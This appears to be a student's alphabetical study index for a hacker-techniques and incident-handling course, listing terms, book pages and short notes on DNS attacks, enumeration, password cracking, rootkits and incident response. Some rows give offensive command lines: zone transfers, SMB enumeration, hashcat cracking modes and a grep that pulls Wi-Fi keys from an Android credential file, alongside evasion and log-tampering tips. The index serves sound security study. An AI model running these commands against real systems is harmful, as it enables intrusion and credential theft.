DNS Amplifiction Attack Architecture	4	128, 129	**Diagram**Step 1: attacker first locates several DNS severs that perfomr recursive looups on behalf of anyone on internet Step 2: DNS servers send the request back to the attacker Step 3: attacker responds with 4k TXT record, which is cached in DNS servers used for amplification Step 4: amplification attack occurs Step 5: the attacker sends DNS query messages to the servers, spoofing the address that hte attacker wants to flood. Step 6: The DNS servers responses with the 4,000 byte TXT record, sending the UDP packet to the victim. Attacker repeats steps 5 and 6 over and over again.
DNS and nslookup	2	33	Attacker's goal is to discover as many IP addresses associated w/ target domain as possible.
DNS Blacklists	1	121	Python script to ID traffic to known malicious IP addresses and domains from logs • uses regex
DNS Data	1	121	reviewing logs can reveal systems connected toknown bad IP addresses/domains
DNS Data (Enterprise IR)	1	121	DNS data can be one of the most powerful tools you have for detecting malicious traffic leaving you environment. **Reviewing a DNS servers log and cache can reveal systems which are connecting to bad ip addresses and domains; well-known botnets and C2 channels tend to be more static than the code base for malware, can compare the logs and current cache for your server wil well known evil domains and IP addresses**
DNS Foiling	3	37	• Step 1: attacker runs the MitM program, which listens for any DNS query for the target domain • Step 2: victim runs a program that tries to resolve the target domain name, such as a web browser. • Step 3: tool sees the request To sniff this request in a switched environment, the attacker may have to use the ARP cache poisoning techniques we discussed earlier so that the attacker can see the DNS query traffic from the victim. • Step 4: MitM tool sends a DNS response, spoofed to appear that it comes from the victim's DNS server. This response includes a lie about the IP address of the target domain. • Step 5: victim now surfs where ever the attacker wants him/her to. The victim thinks that it's the real destination. *Note that a later response will come back from the real DNS server, but the victim will have already cached the earlier fake response. The real response is ignored because it comes too late. Yes, there is a simple race condition here that the attacker has to beat, sending the DNS response before the real DNS server does. But, it is an easy one to win, given that the attacker receives the DNS request before the real DNS server does. Therefore,the attacker can send the fake answer faster than the real server can.
DNS Queries & Zone Transfers	2	37	•Normal queries and responses use UDP port 53 •Zone Transfers use TCP port 53
DNS Record Types	2	34	Address (A) records, Mail eXchange (MX) records, Host Info (HINFO) records, and namerserer (NS) records
DNS server security logging	2	34	monitoring unauthorized zone transfers
DNS Spoofing Effects	3	38	• The attacker doesn't have to be on the same LAN as the victim tor DNS Spooling to work - Attacker just has to sit on a network between the victim and the DNS server • Once we control DNS, we can redirect traffic anywhere we want - With control of DNS, the attacker can send the victim to other websites, but more importantly, can redirect the user's traffic through a proxy. This powerful capability sets the stage for active sniffing of SSL and SSH connections.
DNS Spoofing website example	3	40	shows a yahoo webpage, but it was from a microsoft URL
DNS Zone Transfer	2	37	dumping records from your dns servers, attackers can determine which machines are accessible on internet grab all records assoicated with a particular domain.
DNS Zone Transfer (attacker)	2	34	allows to connect with your DNS server and grab all records associated with a particular domain

DNS Zone Transfer Defenses	2	37	• **Preparation** -- Do not allow zone transfers from just any system • Limit zone transfers so primary DNS server accepts zone request to be initiated **only** by **secondary** and **tertiary** DNS servers, no one else• **Secondary** and **tertiary** accept zone transfers initiated by **no one**! - Use **split DNS• External** name information in **external** server • **Internal** name information in **internal** servers - Make sure your DNS servers are hardened • All internal and external DNS servers • **Identification** -- Look for zone transfers (in DNS server logs or data transferred to/from TCP port **53**) To identify zone transfers, look for packets going to and from TCP port53 on your DNS servers. Normal DNS queries and responses use UDP port 53. Zone transfers use TCP port 53, a telltale sign. • **Containment,** Eradication, Recovery - N/A
DNS Zone Transfer in Unix	2	35	•nslookup on some unix variations •use dig *recent verison of Linux, nslookup cannot do a zone transfer $ dig @[DNS_server_ip] [target_domain] -t AXFR
DNS Zone Transfer in Windows	2	34	C -\> nslookup >server [authoritative_server_IP_or_name] >set type=any >ls -d [target domain] "set type=any" any DNS record, including Address (A), Mail exchange (MX), Host info (HINFO), nameserver (NS)
DNS zone transfer tools	2	33	Host, Dig, NSLookup
dns.spoof.address	3	39	sets the dns addresses to spoof • example on page
DNSCat2	5	101	Just about any protocol can be used as a covert channel* DNS - DNSCat2 by Ron Bowes and numerous other malware specimen* Quick UDP Internect Connect (QUICK) - Use of multiplexed UDP connections for connections* Stream Control Transmission Protocol (SCTP) - Also uses multi-streaming to send data across multiple concurrent connections, supports multihoming so multiple endpoints can be used as a failover, has built-in C2 server failover* Goal of attackers using odd protocols for transfer is to find new areas where existing signatures do not exist* Some issues with reassembly across multiple concurrent streams of data being sent Uses the sequence number for covert channels
DoS - Categories	4	124	**Local:** • Stopping Services- Process Killing- Process crashing- System reconfig• Exhausting Resources- Spawn processes to fill table- Filling up the whole system • **Remotely:** Stopping Services- Malformed packet attack (e.g. bonk, WinNuke, teardrop)• Exhausting Resources- Packet floods (e.g. Smurf and SYN Flood DDoS
DoS - CpuHOG	4	124	sets is priority level to 16, higher than all others-could not be killed by windows apps-took priority over all resources
DoS - EDNS	4	127	With EDNS (RFC 2671), a DNS Query can specify a larger buffer (bigger than 512 bytes) for the response- attacker sends 60 byte query to get a 4000 byte response-Has been used in attacks to generate well over 10 Gbps of traffic at the target***attacker needs DNS Servers supporting recursive lookups -attacker queries those servers for a DNS name the attacker owns -attacker's DNS caches 4000 byte response on those servers -poisoned DNS caches are used to amplify DNS response flood
DoS: Types	4	124	Two types of Denial of Service attacks:--Local DoS--Network based
Drive By Downloads	4	65	A browser exploit that can distribute a bot, which involves triggering a vulnerability in a browser to install software on the browsing system.
Drive By Downloads: Steps	4	65	Bots are installed:- Worms carrying bot as payload- email attachments- bundled with useful game or app- browser exploits/drive-by downloads Step 1: the attacker takes over e-commerce or other site on the Internet. The attacker installs some code on this site that can exploit browser vulnerabilities.Step 2: an innocent victim surfs to the affected website.Step 3: the affected website responds with a webpage that exploits the browserStep 4: based on the exploitation of step 3, the browser connects to the attackers site, and grab some malicious code from it, often a bot.
Drive Duplicator	1	98	can duplicate multiple drives at once
Ducky Script	2	83	file that sends keystrokes to the devide. Example on page to open powershell from a wireless keyboard example on page
Ducky Script	3	6	sample script • sents command Start+R to open Run diaglog box • Start PowerShell, return ALT+y to answer yes at the prompt • downloads and executes a file from a URL
Dyamic ARP instpection or ARP security			Prevents attackers from assuming the IP address of trusted clients. Any traffic that is a mismatch will be dropped
-e option in netcat	3	18	• referred to as "GAPING_SECURITY_HOLE"
ebowla	3	114	closed their doors as an evaiding enpoint security system
echo base64-encoded-data | base64 --decode	1	74	decode base 64 data

echo base64-encoded-data | base64 --decode | iconv -f unicode	1	74	decode base 64 data and remove unicode spaces
Editing Assembly	3	111	Changing the register to add two lines of code below above the xor ; push <reg> ; pop <reg> ; Where <reg> is the name of the register in the xor. • example on page
Editing Log Files Linux	5	66	Main log files can be found by viewing /etc/syslog.conf. Attacker might check this location to find others. Other important log locations are: /var/log/secure, /var/log/messages, /var/log/httpd/error_log, /var/log/httpd/access_log (last two are httpd specific). These are often edited by hand or script.
EDNS	4	127	sends 60 Byte query and receive a 4000 Byte response: 1 -attacker finds DNS servers supporting recursive lookups 2-attacker will query servers for a DNS name the attacker owns3 -attacker responds to a query with a 4000 Byte TXT record 4-cache has been effectively poisoned, now attacker SPOOFS DNS requests, then uses the source address of the target -system is flooded and now useless RFC 2671 - can specify a larger buffer for the response
EDNS -Extension Mechanisms for DNS.	4	127	Attackers locate several DNS servers that will perform recursive look-ups on behalf of anyone on the internet. The attacker sends queries to those servers for a DNS record that the attacker controls on the attackers own DNS server. The attacker then sends DNS query messages to those DNS servers, but spoofs the targets address. The target is then bombarded with a flood with the 4000 byte TXT DNS records.
Egg	3	77	the package that contains the NOP sled, attacker machine code, and Return Pointer is called this
Egress filter	4	138	•**Egress anti-spoof filters (VERY IMPORTANT)** Identification
EIP on x86 / (Intel)	3	72	brute force technique enter long strings into every possible opening and look for a crash where the Instruction pointer contains your input
EliteWrap	5	18	• Wrapper software
Email evidence	1	142	messages from employee's machine • logs from employee server(s) and email server(s) • logs from mail relays • firewall/IDS logs • timestamps matter (timezone) • Hash logs when pulled
email phishing	1	144	<A HREF="evilSite">LegitSite</A><p> // A HREF tag, URL encoding, disguising a good HTML
Email Social Problems	1	143	employees will send emails from out of organization accounts like hotmail to cause issues
Emergency Commo Plan	1	33	Call lists/tree • conference bridge number • print "credit-card size" contact numbers • Test the call list • shared mailbox for voicemail updates
Employee Awareness Initiative	1	26	inform employees of usage rules and consequences
EnCase	1	41	Forensics analysis software
-EncodedCommand	1	65	Powershell option to specify content of a script to run at the command line • used in malware attacks
Encodings	1	74	Base64, Percent(URL) encoding, UTF-8, UTF-16(little/big endian) • Win10 can run Bash • decode base64
encrypted cloud storage	1	47	storage for encrypted IR files • Tresorit or SecureSafe
End Key	1	170	move to end of line
Endpoint Security Bypass: External Access	3	104	95%+ of all infections come from a user clicking on something or getting phished Cant we just say that most attackers just "Phish and be done"? AV Bypass Application Whitelisting Bypass AV_NG Bypass Tricks Non-attribution •Veil-Evasion and Magic Unicorl help
Endpoint Security Bypass: Some Techniques (Application Whitelisting)	3	114	Uses Code Caves-----Environmental Keyed Payloads + golang----Multiple formats--Try code signing your malware • Live off Land method is best for evasion
Enterprise Incident Response	1	119	ID indicators of compromise across multiple machies and user accounts •
enum (CMD)	2	136	Cmd line tool that interrogates target Windows machines across an SMB session, providing detailed info - -s [targetIP] - pulls a list of shares including default admin shares. -u [targetIP] - pulls a list of users -g [targetIP] - pulls a list of group and member accounts. -p [targetIP] - pulls password policy info (length, max age, acct lkout) -d - used w/ other commands to perform password guessing • example on page
enum program - authenticated SMB Session	2	136	enum -u [UserName] -p [password] -G [TargetIPAddr] (creating an authenticated SMB session)
enum program - list groups	2	136	enum -G [TargetIPAddr] pulls a list of groups and members of each group
enum program - list password policy	2	136	enum -P [TargetIPAddr] pulls password policy information, includes min password length, password age, and account lockout settings
enum program - list shares	2	136	enum -S [TargetIPAddr] pulls a list of shares including showing the default administrative shares (IPC$, ADMIN$, C$) NET VIEW does not show this
enum program - list users	2	136	enum -U [TargetIPAddr] pulls a list of users
enumalsgroups - rpcclient	2	141	followed by "domain" or "builtin", will show groups defined on the box. The "als" refers to the word "alias"
enumdomusers -rpcclient	2	141	shows users defined locally as well as any domain users that the system is aware of.

Equipment Identification	1	152	laptop/PC suspect takes home, modem atached, Wireless AP, other tech like EVDO in use?
Eradication	1	104	determine cause and symptoms of incident • rebuild system taking care to **patch/fix vulnerability - the most important**
Eradication - Improve Defenses	1	107	firewall/router filters • move system to new name/IP • null routing • change DNS • patch/harden system
Eradication - remove malicious software	1	106	remove malware (virus, backdoors etc) • rebuild if rootkit • encourage business unit to rebuild w/ supervision • monitor logs for SSH and Remote Desktop irregularties
Eradication - Restore from Back-up	1	105	see restore from back-up or go to page in book
Eradiction - vulnerability Analysis	1	108	system and network analysis • search for related vulnerabilities • scan entire network for intersting ports using Nmap • Use Nessus, OpenVAS, Rapid7, NeXpose, Qualys for vulnerability scanning • often 2 machines exposed not just 1
Espionage	1	135	stealing info to subvert intrests of an organization • most cases involve trusted insider • don't use many "helpers" to investigate Trusted insiders are typically prosecuted.
Espionage - Data collection	1	138	chain of custody • hashes of critical files • access records are colleted and protected • collect back data
Espionage - Decive Attackers	1	139	use misleading info to detect a leak exists • can help track down insider •
Espionage - Idenification	1	137	activity that begins too early or late, weekends, volunteering to empty paper recycling • pattern of access violations in audit trails • thumbprint critical files • media leaks
Espionage - Target Analysis	1	136	probable targets (info and processing capability) • what is info worth, who may benefit, possible ways to acquire it (2 or 3 moste likely methods)
Espionage - techniques	1	135	open source searches by adversaries • posing as customer or potential customer to gain info • hiring critical employees as insiders
Evading IDS/IPS Blending In	2	118	Many attackers abuse services and protocols your environment use everyday (SSH, RDP, Citrix, OWA) • The goal is to use a protocol which is normal, many times with a valid user ID and password for the target environment• Makes detection far more difficult.• Many attacks use an exploit/payload combination on the initial attack, but witll quickly switch to stolen valid user credentials as soon as possible
Event - Corroberation	1	13	better to have two sources claiming to seen event • 2 witnesses, or multiple log sources and/or scanners
Event - definition	1	13	Events are observable, measureable occurrences in a computer system example of Events: • System boot sequence, • System crash, • Packet flooding in a network These observable events must be recorded in notebook/logs and recording same event in multiple places improves evidence corroberation
Event - Forms	1	13	find forms that help you fill out in case of event • provide a list of things to look for
Event - Observable	1	13	These observable events must be recorded in notebook/logs and recording same event in multiple places improves evidence corroberation
EVENT Failures	5	86	threat-hunting tool, /w data visualization • takes: event ID 4624 (Successful logon) event ID 4625 (login failure) ID 4768 (kerberors Authen TGT Request, ID 4769 Keberos ticket request, ID 4776 (NTLM Authen) 4672 (Assign special privileges; ingests and pares the evtx files from domain controller) • screenshot on page
event hiding	5	35	rootkit hiding category
eventquery.vbs	1	72	command line tool to show all logs running on Win Vista and earlier
eventquery.vbs /L security	1	72	command line tool to show security logs • Win Vista and earlier
eventvwr.msc	1	72	opens up windows event viewer GUI
Evidence storage drive	1	98	10% larger than original drive • file system overhead, file format overhead
Evolution of the Flood	4	135	SYN floods:--Typically Spoofed--Clogs connection with bogus traffic--Easier for ISPs to block by looking for abnormal traffic patterns--HTTP Floods:--3WH and send HTTP GET for common page, such as index.html--Much harder to differentiate from normal traffic
EVT files	5	81	no problem for anyone who has the proper right "Manage Audit and Security Log" or permission (say, "Delete" for the \winnt\system32\config) directory that holds these logs. The logs can be cleared using the Event viewer tool itself w/ admin privileges. However completyly blowing away a log file is likely to be noticed by a system administrator, so a sophisticated attacker would rather do line by line editing of the log files; START and STOP EVENTS
Exabeam	5	85	commercial automated behavior analysis tool
Examine ASEP cont.	1	68	additional commands to check on ASEPs
Examine processes w/ WMIC	1	65	WMIC commands provide detailed information about running processes • commands on page
Examine Registry ASEP	1	67	registry and file locations that start software automatically called ASEPs • Registry keys commonly used by malware • HKLM examples • commands on page
Examine Services	1	66	commands to examine running services

Exe32pack	5	19	• packing algorithms and tools
exmine processes - running	1	64	commands to show the running processes in windows • admin should know what processes should be running to spot deviations • commands on page
Explicit congestion notification	2	105	checks how it handles the extended control bits associated with congestion control
Exploit failed: ActiveRecord::RecordInvaid validation Failed: Data has already been taken	4	54	error when the *psexec* module fails, use *psexec_psh* instead
exploiting (step 3) attack process	2	4	an attacker tries to gain access, undermine an application, or deny access to others. (Gaining access, Web app Attacks, Denial of Service)
Exploiting Buffer Overflow	3	69	Two Options - use an off-the-shelf exploit someone else already created (script kiddie approach, very common, numerous exploits availble via exploit-db.com, packetstormsecurity.org, and other sources, admins may have already patched against it) -create a new exploit for a new vulnerability (admins likely won't know about it, this is the realm of zero day exploits)
explorer.exe- Rootkits	5	37	Implements the windows gui. Is always running, so is a target for malicious DLL injection.
ext:	2	47	allows user to search by file type; same as "filetype:"
ext:rdp rdp	2	49	will return systems that can be remotely managed via the Windows Remote Desktop Protocol
EyeWitness	2	107	Takes screenshots of websites, VNC and RDP server to help attackers/testers determine whether a website is out-of-date or vulnerable; based on the PeepNtom tool; developed by Chris Truncer • Attackers look for default pages, management pages, index-able files
fgdump	1	53	trojan
fgets (bufferA, sizeof(bufferA), stdin);	3	64	avoid two buffer overflow flaws, add bounds checks to the program
Fiddler	4	116	amazing proxy tool for anlysis of HTTP requests and responses, with plug-in that support altering scripts passing through the proxy on the fly, (Windows); fancy colored, nice timeline visualizations **used only on windows**
FIFO (first in first out) file	3	20	• Another way to make a Netcat relay on Linux and UNIX, involves using a special file type (First in First Out [FIFO]) named backpipe, done in UNIX: *mknod backpipe p*
File and Protocol Parser Vulnerabilities Defenses	3	102	sniffing programs are often installed on sensitive networks such as DMZz, data centers, and so on, because these locations are where you want to monitor traffic.. An unpatched sniffer system is akin to asking for trouble on your network. • Be very careful with programs that parse protocols and files - All network-using apps do - Most other file-reading apps do as well - But pay special attention to your sniffer tools and their associated analysis programs - Usually installed on sensitive networks (DMZ, datacenters, etc) to monitor - Wherever you have Wireshark, Snort, tcpdump, NetMon, or any other sniffer installed, make sure you keep patches up to date!
file hiding	5	35	rootkit hiding category
File Integrity Checking - Rootkits	5	57	Looks for changes to critical system files. Although a well-designed kernel-mode rootkit can trick the file integrity checker using execution redirection, it makes the attackers job that much harder.
File Parser Buffer overflow issues	3	101	programs that open files have persers, many have buffer overflow flaws • reading a file created by attacker could crash and app or execute commands • apps with this type of history: WinZip, Itunes, Wordpad, Antivirus tools (Symantec, Trend Micro, Mcafee), Encase and Sleuth Kit forensics, Office Tools (Word, Power Point, Excell), Adobe (acrobat, reader, flash)
File Type Searches	2	47	• search for specific file types on target domain• look for active content - .asp, bak .jsp, .php, or .cgi (indicate active web content and may be vulnerable)• excel spreadsheets - search for .xls and then view it as html (spreadsheet image will come from google cache)• .xls and .ppt - organizations sometimes don't even realize that they've left an excel spreadsheet or PowerPoint presentation on their website (viewed as HTML)• Example - site - www.hackernet.com asp• "filetype -" is useful, but also try just the suffix as google doesn't categorize a files properly all the time• "filetype -" directive is the same as "ext -" directive • FOCA
FilePwn	3	34	• MitMf can also backdoor executable files it sees in transit; MITMF = Man in the Middle Framework
filetype: (Filetype searches	2	47	allows user to search by file type; same as "ext:"
filtering	3	75	attackers may need to encode the exploit to avoid filtering
FIN - 3-WAY	2	100	End a connection
FIN scans	2	103	sends FIN packets, in an effort to be stealthy & get through firewall
find potential overflows - step1	3	71	see buffer overflow finding potential overflows
finding files in linux	1	181	locate, find,

Flash Diggity	2	50	can decompile flash objects to see if any sensitive data (such as passwords) exists in the action script
Flash objects	2	50	SearchDiggity's module called "Flash Diggity" can decompile Flash objects to see if any sensitive data(such as passwords) exists in the script
Flawfinder	3	95	Free automated code checking tool for C and C++ All operating systems
flow of information	1	45	details of the incident to minimum number of people possible • enforce need to know • discretion matters • they may be required to testify
FOCA	2	48	Automated file search tool • downloades the searched files and extrats metadata such as Usernames, vulnerable version of software, directory paths, etc • Google Hacking DB and basic web vulnerability scanning (directory indexing and basic SQLi) included • harvest information to gain access data• Integrates with Shodan and Robtext to identify network ranges additional targets• Can also perform subdirectory brute-forcing to idetify additional hosts • subdomain directory brute forcing module which can be used to enumerate additional exposed servers and services on the Internet • new version is GOCA
Fontanini Rootkit	5	53	Uses file system function hooking. Hides processes, connections, logged in users, and gives UID 0 (root) privileges to any process. Linux 3.0+ rootkit. Simply replaces the inode read call to filter certain evil results.
FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi	1	70	command line loop to discover file sizes greater than 10MB • screen shot in WB page 15
Fortify Source Code Analyzer	3	95	commercial Code Checking Tool for C, C++, C#, Java
FragRouter	3	33	when configured disguises the extra IP hop (the attackers machine)
FTK Imager Lite	1	41	evidence collection software
FTP Proxy "Bounce Attack" scans	2	103	bounce attack off a poorly configured FTP server
FU	5	46	Windows kernel-level rootkit that altered kernel in memory
Full Disclosure	2	9	vulnerabilities that are widely disclosed in public
Full Disk Encyption	3	7	• Users must power down systems when not in usse to be an effective defense.
Future Trends / Threats (near term)	5	150	-Distributed attacks on the rise: scanning, password cracking, worms, and bots - Clients exploitation dominates, and is used as an avenue to get to data and servers: always on systems(cable modems, DSL), viruses/worms spreading attack tools, targeting telecommuters
Future Trends / Threats (near term)2	5	151	Client-side attacks proliferate-Attacks against cell phones and PDAs-Undermining user-based trust models -TLS & SSL -SSH -Active Browser Content - JavaScript, HTML5
gadget	3	91	Each little chunk of the operating system code the attacker wants to execute in an attacker-chosen order is referred to as a gadget
gaining access	2	4	a step under exploiting in the attacks process
Gcat	5	102	* Full C2 backdoor where all command and control traffic flows over Gmail* Originally created by Ben Donnelly of BHIS, but currently maintained by byt3bl33d3r* Supports: Command execution, screenshots, download and upload of files, keylogging, execution of shell code. * Bypasses many DLP/IDS/IPS systems* Many IDS/IPS/Firewalls are not monitoring Gmail traffic very well
General Data Protection Regulation	2	19	make whois records inaccessable in 25 May 2018
General Trends - Compromise Breakout Time and Attack Duration	2	13	nation state attackers are getting faster and reducing breakout time from 20 - 309 minutes for nation state attackers, and average 582 minutes for cyber gangs • have an average of 3.5 hours to respond to initial compromise • amount of time attackers spend inside breaches is reported in months/years
General Trends - The Underground Community	2	9	More information is availible to the General public--Less-Informed attackers "script-kiddies" or "ankle-bitters" using information in attacks Debates over weather vulnerabilities should be disclosed (full-disclosure) vs or not (anti-disclosure)--Rise in High quality, extremly fuctional attack tools
General Trends: Golden Age	2	14	Attacers are becoming more sophisticated but so are defenders • demand for IT professionals with InfoSEC skills is growning
Georgetown Law Library's International and Foreign Cyberspace Law Research Guide	1	155	resource for international cybercrime laws
Get-Item -path .\[file].exe -stream Zone.Identifier | f1 -property stream	5	76	PowerShell command that allows you to see alternate data streams in NTFS
gets	3	64	vuln to buffer overflow, doesn't boundary check
GetUserSPN.py	4	56	command from Impacket can grab the tickets, Kerberoasting.
GHDB	2	44	over 1000 different useful searches to locate many problems on target domains
Ghidra tool - NSA	5	20	used to combat unpackers. Supports python scripts and has a GUI and a CLI. It is a debugger to help reverse engineer malware and exploit development /w advanced features and modern user interface
GhostRAT	5	9	• app-level trojan horse
Ghostwriting	3	109	Scout AirCheck G2 • used by law enforcement to ID criminals using Wi-Fi Aps • measures and tracks presence of imposter Aps
Ghostwriting binary to ASM	3	110	example how to use msfvenom to manipulate payloads to change binary to ASM source

Ghostwriting binary to ASM 2	3	112	example how to recompoine th asm file to an executable using peencode.rb script
GMER	5	56	Windows- Rootkit detection tool
Gnu Privacy Guard - GnuPG	1	47	free encryption tool
GnuPG	1	35	encryption method for email and files
gobbles	2	74	where androids save Wi-Fi PSK information in plaintext Command for it is: grep -E "ssid|psk" /data/misc/wifi/wpa_supplicant.conf • example on page
GOCA	2	48	new version of FOCA written in the Golang programming language
Golang	3	114	use keyed payloads and a lesser used languages like Golang, this works because AV product have issues parsing through Golang.exe files with the use of keyed payloads as the signature will be different for each instance of the malware
Good user ID with bad password	4	76	using good userIDs can make application provide error codes, automated scripts help determine valid userIDs
Google "info" -	2	45	Finds cached pages related pages, pages that link to it. NOT very useful.
Google "intitle" -	2	45	Shows pages whose title matches the search criteria.
Google "inurl" -	2	45	Shows pages whose URL matches the search criteria.
Google "link" -	2	45	Shows all sites linked to given site.
Google "related" -	2	45	Show similar pages- Sometimes useful sometimes not.
Google "site" -	2	45	Directive allows an attacker to search for pages on just a single site or domain,
Google Cache	2	46	• Do a search on "cache: [website]"• **Brings up the cached version of the page** • useful for attackers to pull info recently removed from a site (perhaps by an IR team)• Useful for bad guys if IR containment isn't thorough and careful performing containment of info leakage, results could be damaging to organization • If IR team removes page from site itself, but fail to remove it from google cache, attackers can still retrieve the page from cache • Browse the google cache • Only stores HTML• Any images on the site are loaded from the original website (not cache)• Any links browsed will take you to real site• No good approach for anonymous surfing• Useful for finding recently removed pages• Useful for limiting target site's knowledge of what you are doing • The Wayback machine is more thorough view, with multiple images over time
Google ext: -	2	47	Search for specific file types on a domain. Looks for active content - .asp, .jsp, .php or .cgi. Note that "filetype" is the same as "ext"
Google File Types	2	47	Search for specific file types on a domain. Looks for active content - .asp, .jsp, .php or .cgi. Note that "filetype" is the same as "ext"
Google Hacking Database	2	44	Exploit Data base GHDB, over 1000 different useful searches to locate many problems on target domains
Google Rapid Response - GRR	1	39	large scale incident response • able to pull forensic artifacts from multiple systems both online and when a system connects • Python Based • managed by Google • for Linux, OS X, and Windows clients
Google Reconnaissance Defenses	2	51	Remove the website, individual pages, snippets, cached pages, an image from Google's Image Search
google search (R)	2	45	site - , link - , intilte - , related - , info - , filetype - , (.), (+), (-)
Google string searches	2	45	To search a specific site the **site:** directive will narrow the search. For a specific string search place the string first. Example search for wireless. **wireless site: counterhack.net**
GrammaTech's CodeSonar	3	95	commercial Code Checking Tool for C, C++
Gratuitous ARPs	3	30	• ARP data is stored in the ARP cache of each system• Gratuitous ARPs -Anyone can send ARP responses even though no one sends an ARP request - EX. MAC address for IP address 10.1.1.1 is AA.BB.CC.DD.EE.FF - Machines want this data, and will greedily devour it for their caches, even overwriting previous entries - Solaris is more finicky, and waits for a timeout if it already has something cached• ARP cache poisoning allows you to redirect info to a different system• by sending ARP responses when no one asks a question, you can flood a switch's memory, or even poison the victim system's ARP cache• ARP data is stored in the ARP cache of each system
GRE Tunnel			Acts VPN-like for IP packet transfers • are point to point stateless and unencrypted •obscures packets from host to destination by encapsulating them for packet transfer
Group Policy password management	4	47	Steps for setting up password complexity and requirements through GPO
GRR Rapid Response	1	39	GRR is an incident response framework focused on remote live forensics. Large scale incident response • able to pull forensic artifacts from multiple systems both online and when a system connects • Python Based • managed by Google • for Linux, OS X, and Windows clients
GRR Rapid Response flow example	1	40	shows an example of a flow on the GRR server
Hacker	2	5	a highly intelligent individual who wants to explore technology to learn. Major media do not observe the distinction between crackers and hackers.

Hactivism	2	10	computer attacks to make a political point •website tampering •anonymous remailers , communications without being observed by oppressive government•Financial infrastructure manipulation of organization for political reasons
Handheld Wi-Fi Scanning	2	86	NetScout AirCheck G2 • used by law enforcement to ID criminals using Wi-Fi Aps • measures and tracks presence of imposter Aps
Handler's Diary	1	29	SANS NewBites regarding incidents around the globe
Hardware Address	3	29	• the MAC address of an ethernet card, a 48 bit globally unique address hard coded into the card
hash'	4	13	prnounced hash prime • when a user logs on a systems, takes the password and hashes for compairson against the known good hash
Hash Dump Utilities	4	52	fgdump | Meterpreter's priv module; used for pass-the-hash attacks
hash prime	4	13	is the hash' • when a user logs on a systems, takes the password and hashes for compairson against the known good hash
Hashcat	4	35	password cracking tool utilitizing GPU which has more cores then a CPU • cracks office file passwords; kerberos tickets dump via kerberoasting; OS hash; supports wordlist; hybrid, brute forcing
hashcat - Brute Force (Mask Attack) (-a 3)	4	36	brute force password-guessing attack using patter you specify, powerful attack • example p41
hashcat - Combinator attack mode (-a 1)	4	36	2 wordlist files, each word in file is prepended to every word in second file • example p39
hashcat - Hybrid Mask + Wordlist (-a 7)	4	36	prepends the mask to each word in wordlist file
hashcat - Hybrid Wordlist+Mask (-a 6)	4	36	combines straight and mask attacke appending specified mask value to each word in wordlist file
hashcat - straight attack mode (-a 0)	4	36	uses simple wordlist to attack, each word in file is potential password • example p38
Hashcat attack Modes	4	36 - 42	supports 5 attack modes: Straight (-a 0) dictionary wordlist • Combinator (-a 1) dictionary wordlist, append each word to ever other as potential password(2 dictionaries or same file twice) • Brute Force(Mask Attack) (-a 3) specify patern of passwords and Haschat tries each, complex but powerful! • hybrid wordlist+Mask (-a 6) combines wordlist and mask attack • Hybrid Mask + Wordlist (-a 7) same ast 6, prepend mask to each word in wordlist examples of each on pages 37 - 42
hashcat -h	4	35	view all different hashes it support • example p180 WB
hashcat -m	4	35	choose which flag crack format • example p176 WB
hashcat -m 100 -a 0 [HashFile.txt] words.txt -r best64.rules	4	44	command that gets a hashfile
hashcat -m 1000 -a 0 hashes.txt words.txt	4	38	hashcat straight mode command to crack passwords, screenshot on page
hashcat -m 1000 -a 1 hashes.txt words.txt words2.txt	4	39	hashcat combinator mode command to crack passwords, screenshot on page
hashcat -m 1000 -a 3 hashes.txt ?u?1?1?1?d?d	4	41	hashcat Brute Force/Mask Attack command to crack passwords, • screenshot on page
hashcat -m 1000 -a 6 hashes.txt words.txt ?s?d	4	42	Hashcat Hybrid Wordlist + Mask attack command • screenshot on page
hashcat -m 1000 -a 7 hashes.txt ?d?d?d?d words.txt	4	43	Hashcat hybrid Mask + wordlist attack command • screenshot on page
hashcat -m 1400			the 1400 indicates the hases are in SHA-256
hashcat -m 1400 -a 6 hashes.txt words.txt ?!?d			hashcat -m 1400 shows hashes are SHA-256 • -a 6 indicates attack type is hybrid wordlist + mask • ?!?d indicate the desired paramaters
hashcat Mask Attack (brute force)	4	40	must specify a pattern you want to use for guessing passwords • marker and table on page •
hashcat -n	4	35	specifies which type of password hash
hashcat -r	4	35	which rules file you want to select • example p176 WB
hashcat rules	4	44	offers password permutation rules: toggle case of each letter in work, replace letters with numbers (133t speak), revers words, capatalize letters, append a number or special character • best64.rules file mutates input passwords in ways that mirror how users typically select passwords
hashdump	4	21	command run inside meterpreter to pull user and password hashes for windows10 migrate the shell into lsass.exe for meterpreter to use hashdump in newer versions of meterpreter
hashdump - Meterpreter command	4	52	meterpreter priv module, pass-the-hash attack, hash dumping
hashdump example output	4	37	screenshot of hashdump output
hashing rounds	4	26	on linux/unix hosts: using multiple rounds of hashing make the cash caluclation slow. For normal user may be a 1 sec delay logging in, for an attacker could slow them significantly • newer tools increase the effectiveness of cracking
haveibeenpwned	2	24	website that collects lists of usernames and passwords from major website breaches • provides search service to determine if an email address or username was included in a major breach • offers programmatic API services • example on page
Heap Overflow	3	63	• Same core issues for non-validated inputs for heap and integer based overflows as in buffer overflows

Heartbleed	3	45	• Allows attacker to pull server keys from memory. Normally, client sends "Server, send me this 4 letter word if you are there: "bird"" Server responds with: bird; Heartbleed happens when when client requests 500 letters but only sends "bird." The server resonds with: "Bird. Server master key is 31431498531054 User Carol wants to change password to "password123".
hidden form elements	4	113	hidden elements in HTML • do not appear on browser screen • can be seen in "view page source"
Hidden Form Elements - browser manipulation	4	118	elements in the HTML itself but are hidden. "view source" will show hidden form elements
hiding network traffic - tunneling	5	90	tunnel traffic over the network • exampel X Windows over SSH, IP inside ICMP, IPv6 inside IPv4
High Orbit Ion Cannon (HOIC)	4	137	multithreaded to generate more traffic quicker; support for customizable javascript with numerous different pages; features boosters (JavaScript-based scripts) and is used by the Anonymous hacking collective
Hijacking	3	52	• There are a number ot additional (other than ARP poisoning) ways we can hijack system communication • Focus on two additional attack vectors; Link-Local Multicast Name Resolution (LLMNR) and Web Proxy Auto-detect (WPAD) • If we are on the local network, we can take advantage of systems attempting to find hostnames and proxy configurations to redirect them where ever we want. • These current attack are heavily used post exploitation to extend access to other systems.
Hijacking Defense - Containment, Erad, and Rec	3	59	**Containment**-Drop spurious sessions, by chaining password and restarting the service. Analayze destionation systems when session was hijacked. **Erad, Rec**: change passwords of hijackced accounts, possibly rebuild systems especially if admin/root accounts are compormised
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA	4	46	registry key is controls for both Windows NT and 2000 located here.
Holliday Hack Challenge	2	23	info on page
